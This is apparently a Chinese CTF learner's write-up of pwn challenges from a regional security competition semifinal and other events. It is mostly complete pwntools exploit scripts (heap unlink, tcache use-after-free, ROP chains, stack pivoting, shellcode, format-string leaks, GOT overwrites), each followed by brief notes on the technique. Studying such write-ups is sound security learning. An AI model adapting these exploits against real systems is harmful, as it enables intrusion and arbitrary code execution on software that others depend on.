10.14 ~ 10.20
这是今年信息安全竞赛华南赛区半决赛的 pwn 题, wp 基本来自大佬
day1
pwn1
off by one
from pwn import *
p = process('./pwn')
elf = ELF("./pwn", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so', checksec=False)
def new(ind,size,content):
p.sendlineafter('4.show\n','1')
p.sendlineafter('index:\n',str(ind))
p.sendlineafter('size:\n',str(size))
p.sendafter('content:\n',content)
def free(ind):
p.sendlineafter('4.show\n','2')
p.sendafter('index:\n',str(ind))
def edit(ind,content):
p.sendlineafter('4.show\n','3')
p.sendlineafter('index:\n',str(ind))
p.sendafter('content:\n',content)
new(2,0xf8,"/bin/sh")
new(32,0xf8,"32")
new(31,0xf8,"31")
new(30,0xf8,"30")
pay = p64(0)+p64(0xf1)+p64(0x6021c8)+p64(0x6021c8+8)
pay = pay.ljust(0xf0)
pay += p64(0xf0)
edit(32,pay)
free(31)
pay = p64(0x6021c8)*3 + p64(elf.got['free'])
pay = pay.ljust(0xf0)
pay += p64(1)
edit(32,pay)
p.sendline("4")
p.recvuntil("index:")
p.send("32")
p.recvuntil('\n')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base = leak - libc.symbols['free']
system = libc.symbols['system'] + libc_base
free_hook = libc.symbols['__free_hook'] + libc_base
pay = 'a'*0x18 + p64(free_hook)
pay = pay.ljust(0xf0,'a')
pay += p64(1)
edit(30,pay)
edit(32,p64(system))
free(2)
p.interactive()
在这里记录一下貌似我看到的off by one
都是使用 unlink 的方法,而且感觉总结出来一个算是心得的东西,就是有 PIE 的反而都是简单的,而不开的反而需要我们去认真分析每个堆的数据结构,通过了解这个来攻破
这里要详细记录一下,毕竟整出来了,23333
这里卡了一点,师傅直接用 free 整的 libc 偏移,今天我用个别的方法(看看行不行),还是感觉不是预期解,主要是没用到 leak
pwn4
buffer overflow
from pwn import*
context.log_level = "debug"
elf = ELF('./pwn')
p = remote("172.29.3.115","9999")
#p = process('./pwn')
libc = elf.libc
payload = 'a'*0x28
p.recv()
p.sendline(payload)
p.recvuntil('a'*0x28)
p.recv(8)
leak = u32(p.recv(4))
success(hex(leak))
libc_base = leak - 0x1b23dc
libc.address = libc_base
one = libc_base + 0x3ac69
print p.recv()
payload = 'a'*0x28 + 'bbbb' + p32(one)
p.sendline(payload)
p.interactive()
这个很简单,我一开始想构造 rop 链,结果一看师傅直接 one_gadegt 妙出,秒啊,直接泄漏 libc.address 还行,这个记录一下,实在太秒了
pwn8
逆向题???
from pwn import*
#io = process("./easy_pwn")
io = remote("172.29.3.119","9999")
elf = ELF("./easy_pwn")
context.log_level = "debug"
from struct import pack
# Padding goes here
p = ''
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000449b9c) # pop rax; ret
p += p64(59) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040139c) # syscall
strings = ""
for i in p :
strings += chr(ord(i)^0x66)
pay = 'a'*0x50 + strings
io.recv()
io.sendline(pay)
io.interactive()
做这个的时候我只看到了栈溢出,然后觉得输入密码什么是个逆向题,后来发现直接 ropchain 直接完事.注意一下,在ROPgadget --binary pwn --ropchain
时
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
它直接add rax, 1 ; ret
,硬生生抬了 59 ,主要是 ropchain 是只用地址完成的 getshell ,所以还是甩 ROPgadget --binary easy_pwn --only "pop|ret" | grep rax
比较简单,可以pop rax; ret
后接一个 59 ,节省了 (59-2)*8 个字节
pwn3
rop 构造,思路感人
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):
text_base = int(os.popen("pmap {}|awk ''".format(p.pid)).readlines()[1],16)
log.info("elf_base:{}".format(hex(text_base)))
log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
#log.info("get_array:{}".format(hex(text_base + 0x202140)))
if addr!=0:
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p)
pause()
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,addr)
pause()
def getshell():
p.interactive()
def msg(msg,addr):
log.warn(msg+"->"+hex(addr))
#-------------------------------------
def exp():
aaa=asm(shellcraft.sh())
pop_rdi_ret=0x00000000004005a3
pop_rsi_r15=0x00000000004005a1
pop_r14_r15=0x00000000004005a0
mov_eax_exe_ret=0x00000000004004e3
pop_r12_r13_r14_r15=0x000000000040059c
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdx_r13_rsi_r14_edi_r15_call=0x400580
#call r12+rbx*8
ret=0x004003a9
main = 0x4004ED
syscall_ret=0x0000000000400517
g = 0x4004da
pay = "a"*16+p64(main)
sd(pay)
#print p.recv()
stack = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
msg("stack",stack)
stack=stack-0x118
msg("stack",stack)
pay = "/bin//sh\x00".ljust(0x10,"\x00")
pay+=p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(10)+p64(0)+p64(stack)+p64(0)+p64(0)*2
pay+=p64(mov_rdx_r13_rsi_r14_edi_r15_call)
pay+=p64(mov_eax_exe_ret)
pay+=p64(pop_rdi_ret)+p64(stack)
pay+=p64(pop_rsi_r15)+p64(0)*2
pay+=p64(syscall_ret)
sd(pay)
getshell()
if __name__ == '__main__':
bin_elf = "./pwn"
elf = ELF(bin_elf)
context.binary=bin_elf
context.log_level = "debug"
if sys.argv[1] == "r":
p = remote("172.29.3.114",9999)
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
exp()
这道题我想的也是直接去布置 rop ,但是不知道栈地址,还好还好,这个 write 和 read 函数都能避免 \x00
截断问题,我们能根据 write 带出来一个特定偏移的地址,之后就是常规的布置 rop 了
但是,这里学到了,我之前一直以为去 call QWORD PTR [r12+rbx*8]
之后的布置还需要在构造一下,因为我之前看到的都是把 rbx 步成 0 ,这个我没想到可以去直接用 rbx 去控制程序走向, orz
pwn6
UAF ( tcache )
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):
text_base = int(os.popen("pmap {}|awk ''".format(p.pid)).readlines()[1],16)
log.info("elf_base:{}".format(hex(text_base)))
log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
#log.info("get_array:{}".format(hex(text_base + 0x202140)))
if addr!=0:
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p)
pause()
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,addr)
pause()
def getshell():
p.interactive()
def msg(msg,addr):
log.warn(msg+"->"+hex(addr))
#-------------------------------------
def new(size,name,call):
ru("choice:")
sl("1")
ru("Please input the size of compary's name\n")
sl(str(size))
ru("please input name:\n")
sd(name)
ru("please input compary call:\n")
sd(call)
def free(idx):
ru("choice:")
sl("3")
ru("Please input the index:\n")
sl(str(idx))
def show(size):
ru("choice:")
sl("2")
ru("Please input the index:\n")
sl(str(size))
def exp1():
new(0x18,"a"*8,"b"*8)
new(0x100,"a"*8,"b"*8)
new(0x100,"a"*8,"b"*8)
#
free(0)
for x in range(8):
free(1)
new(0x100,"c"*8,"d"*8)#3
show(3)
ru("c"*8)
libc.address = u64(p.recv(6).ljust(8,"\x00"))-88-8-0x10-libc.sym["__malloc_hook"]
free_hook = libc.sym["__free_hook"]
system = libc.sym["system"]
msg("libc.address",libc.address)
new(0x50,"a"*8,"b"*8)#4
new(0x50,"a"*8,"b"*8)
new(0x50,"a"*8,"b"*8)
free(4)
free(4)
new(0x50,p64(free_hook),"b"*8)
#piedebug(0)
new(0x50,"/bin/sh\x00","b"*8)
new(0x50,p64(system),"b"*8)
#piedebug(0)
free(7)
# ru("choice:")
# sl("3")
# print p.recv()
getshell()
pause()
if __name__ == '__main__':
bin_elf = "./pwn"
elf = ELF(bin_elf)
context.binary=bin_elf
context.log_level = "debug"
if sys.argv[1] == "r":
p = remote("172.29.3.117",9999)
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
exp1()
这个比之前做的 tcache 简单一些,很简单的 UAF 。但是我分析这个堆的时候很迷,怎么 bss 段的跑到堆上了,是我忘了点啥吗,很奇怪。
pwn7
栈迁移
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):
text_base = int(os.popen("pmap {}|awk ''".format(p.pid)).readlines()[1],16)
log.info("elf_base:{}".format(hex(text_base)))
log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
#log.info("get_array:{}".format(hex(text_base + 0x202140)))
if addr!=0:
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p)
pause()
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,addr)
pause()
def getshell():
p.interactive()
def msg(msg,addr):
log.warn(msg+"->"+hex(addr))
#-------------------------------------
def exp():
name ="admin"
new = ""
for i in range(len(name)):
new+=chr(ord(name[i])^i)
piedebug(0x0118A)
ru("please input your name\n")
sl(new)
ru("do you want to get something???\n")
sd("a"*0x19)
ru("a"*0x18)
canary = u64(p.recv(8))-0x61
stack = u64(p.recv(6).ljust(8,"\x00"))-0x28
msg("canary",canary)
msg("stack",stack)
ru("OK???\n")
sd("b"*0x18+p64(canary))
ru("I think you can do something now\n")
pay = "c"*0x18+"a"*0x10+p64(canary)+"a"*8+"\xde\x50"#1/16
#pay = "%7$p%8$p%9$p".ljust(0x18,"\x00")+p64(canary)*4+"\xa2\x11"#1/16
sd(pay)
#print p.recv()
ru("do you want to get something???\n")
sd("a"*0x21)
ru("OK???\n")
sd("b"*0x29)
ru("a"*8)
piebase = u64(p.recv(6).ljust(8,"\x00"))-0x1440
msg("piebase",piebase)
printf_got=elf.got["printf"]+piebase
printf_plt=elf.plt["printf"]+piebase
read_got=elf.got["read"]+piebase
pop_rdi_ret=piebase+0x14a3
leave_ret=piebase+0x10dc
vul = piebase+0x10de
msg("printf_got",printf_got)
msg("printf_plt",printf_plt)
msg("read_got",read_got)
ru("I think you can do something now\n")
gadget = "a"*0x8+p64(pop_rdi_ret)+p64(read_got)+p64(printf_plt)
pay = gadget+p64(vul)+p64(canary)+p64(stack)+p64(leave_ret)
sd(pay)
libc.address = u64(p.recv(6).ljust(8,"\x00"))-libc.sym["read"]
system = libc.sym["system"]
msg("libc.address",libc.address)
ru("do you want to get something???\n")
#piedebug(0x11fe)
sd("a"*0x8)
ru("OK???\n")
sd("b"*0x8)
ru("I think you can do something now\n")
gadget = "/bin/sh\x00"+p64(pop_rdi_ret)+p64(stack)+p64(system)
pay = gadget+p64(0)+p64(canary)+p64(stack-0x10)+p64(leave_ret)
sd(pay)
getshell()
if __name__ == '__main__':
bin_elf = "./pwn"
elf = ELF(bin_elf)
context.binary=bin_elf
context.log_level = "debug"
#context.terminal=['tmux', 'splitw', '-h']
if sys.argv[1] == "r":
p = remote("172.29.3.118",9999)
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
#取消aslr保护机制
#p = process(bin_elf, aslr=0)
#加入libc进行调试:
#p = process(bin_elf,env = {"LD_PRELOAD": "../libc-2.23.so.i386"})
while True:
try:
p = process(bin_elf)
exp()
except:
p.close()
这道题我在调试的时候遇到问题很多,在线解决.不过把师傅思路整明白了,首先通过过 printf 把 canary 带出来,之后碰运气撞出来 sub_10DE
,之后再来一遍,把 pie 泄漏出来,最后泄漏一个 read 函数把 libc 整出来,最后起 shell ,我在几个具体构造还不太明白,赶紧整
lab6
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import time
context.log_level = "debug"
r = process('./pwn')
read_plt = 0x8048380
puts_plt = 0x8048390
leave_ret = 0x08048418
pop_edx_ret = 0x0804836d
puts_got = 0x8049ff0
buf = 0x0804b000-0x200
buf2 = buf + 0x100
payload = "a"*40
payload += flat([buf,read_plt,leave_ret,0,buf,100])
r.recvuntil(":")
r.send(payload)
time.sleep(0.1)
rop = flat([buf2,puts_plt,pop_edx_ret,puts_got,read_plt,leave_ret,0,buf2,100])
r.sendline(rop)
r.recvuntil("\n")
puts_off = 0x5fca0
libc = u32(r.recv(4)) - puts_off
print "libc:",hex(libc)
time.sleep(0.1)
system_off = 0x3ada0
system = libc + system_off
rop2 = flat([buf,system,0,buf2+4*4,"/bin/sh"])
r.sendline(rop2)
r.interactive()
堆栈迁移,上题引申出来的,发现自己完全忘记了,赶紧看了看,终于懂了,我发现我之前理解错了,或者说理解的很浅, tcl .这题关键是溢出字节太少了,需要去做一个迁移,所以就做了 2 个手脚来 read 输入.发现 32 位和 64 位比起来是真简单,和自己用 exp 写东西一样,2333,难度层面简直是弟弟
尴尬了,今天深入从汇编层面想了想,发现我真的理解错了,啊~~~ 简单说一下.第一次 payload 的
payload = "a"*40
payload += flat([buf,read_plt,leave_ret,0,buf,100])
首先执行 read 函数,后边 3 个参数,之后顺序往下执行,又因为 ebp 一直指向 buf ,所以 ebp 去 buf 了, esp 指向哪呢??对,这就是我之前理解的,现在想想,我是把汇编层面的东西自己理解的有点偏差,应该是这样
首先的 buf 应该首先被 leave 出去,这样 ebp 就指向了 buf , esp 指向 read ,后边顺序执行,之后到了 leave 后我们的 esp 就理所应当的被迁移到了 buf 处,这才是正确的理解, orz
pwn9
小知识点,直接写 shellcode
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,addr)
pause()
def getshell():
p.interactive()
def msg(msg,addr):
log.warn(msg+"->"+hex(addr))
#-------------------------------------
def exp():
jmp = 0x08048554
shellcode ='''
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
mov ecx,eax
mov edx,eax
mov al,0xb
int 0x80
xor eax,eax
inc eax
int 0x80
'''
shellcode =asm(shellcode)
shell="sub esp,0x28;call esp"
shell =asm(shell)
ru(">\n")
pay = shellcode.ljust(0x24,"\x00")
pay+= p32(jmp)
pay+=shell
#debug("b *0x8048554")
sl(pay)
getshell()
if __name__ == '__main__':
bin_elf = "./pwn"
elf = ELF(bin_elf)
context.binary=bin_elf
#context.log_level = "debug"
#context.terminal=['tmux', 'splitw', '-h']
if sys.argv[1] == "r":
p = remote("172.29.3.120",9999)
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
exp()
这个就是最简单的往栈里写东西了,连 nx 也关了,这是什么题~~ 不过我发现 wp 和我想得不太一样,师傅先去 jump esp
,然后利用 sub esp,0x28;call esp
起的 shell ,我感觉有点头皮发麻,突然发现我之前整的直接跳到 buf 处必须关 aslr ,学到了学到了~~~~ 下面简单说一下思路:
构造情况shellcode + jmp + shell
,到 jmp 的时候 esp 在 shell ,所以直接 esp 减 0x24+4 就好了,之后就是我们希望的执行了~~~
story
来自西湖论剑
from pwn import *
p= process('story')
#p=remote('ctf2.linkedbyx.com',10895)
libc = ELF('./libc-2.23.so')
p.sendline("%15$p%25$p")
p.recvuntil("0x")
canary = int(p.recvuntil("0x")[:-2],16)
info("canary:0x%x",canary)
addr = int(p.recvuntil('\n')[:-1],16)
libc_base = addr - libc.symbols['__libc_start_main']-0xf0
info("libc:0x%x",libc_base)
one = libc_base+0xf1147
pay = (0x808-0x780)*'\x00'+p64(canary)+p64(0)+p64(one)+'\x00'*400
p.recvuntil('story')
p.sendline('200')
p.recvuntil('story')
p.sendline(pay)
p.interactive()
简单的格式化字符串洞,完全忘记了,简单记录一下怎么找的偏移
先暴力输入一堆%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
然后找偏移,如果有结尾 00 的可以注意一下,然后用 cyclic 加猜测的偏移确定,我是这样的,不知道师傅们怎么确定的,知道 canary 后用 gdb 就能确定 __libc_start_main+240
的偏移,这就简单了.之后填入 one_gadget 完事~~~ ,对,这里记录一下 one_gadget 的骚操作
☁ xihulunjian one_gadget libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
这时摆出来的限制情况,我发现师傅 tql ,他根据输入精准控制栈的情况
noinfoleak
from pwn import *
r = process('./noinfoleak')
elf = ELF('noinfoleak', checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#gdb.attach(r, gdbscript='b *0x00400AC7\nc\n')
def add(size, data):
r.sendlineafter('>', '1')
r.sendlineafter('>', str(size))
r.sendlineafter('>', data)
def delete(index):
r.sendlineafter('>', '2')
r.sendlineafter('>', str(index))
def edit(index, data):
r.sendlineafter('>', '3')
r.sendlineafter('>', str(index))
r.sendafter('>', data)
add(0x30, '/bin/sh')
add(0x20, 'AAA')
add(0x20, 'BBB')
delete(1)
delete(2)
delete(1)
arrAddr = 0x06010A0
freeGotAddr = elf.got['free']
putsPltAddr = elf.plt['puts']
putsGotAddr = elf.got['puts']
add(0x20, p64(arrAddr))
add(0x20, 'second')
add(0x20, 'first')
add(0x20, p64(freeGotAddr))
edit(1, p64(putsPltAddr))
# ptr = free_got => puts_plt
edit(6, p64(putsGotAddr))
delete(1)
# ptr = puts_got
LeakStr = r.recvuntil('\n', drop=True)
libcBaseAddr = u64(LeakStr.ljust(8, '\x00')) - libc.symbols['puts']
systemAddr = libcBaseAddr + libc.symbols['system']
print('libc base address: 0x%x' % libcBaseAddr)
print('systemAdd address: 0x%x' % systemAddr)
# overwrite arrAddr[1] to free@got
edit(6, p64(freeGotAddr))
# overwrite free@got to system
edit(1, p64(systemAddr))
# system("/bin/sh")
delete(0)
r.interactive()
这个应该是最符合这题要求的最简洁的预期解了,就是简单的修改 got 表,不需要改 io_file 的结构什么的,看 dalao 的 wp 把我看蒙了,毕竟第一次接触到这种没有 leak 的题,发现还可以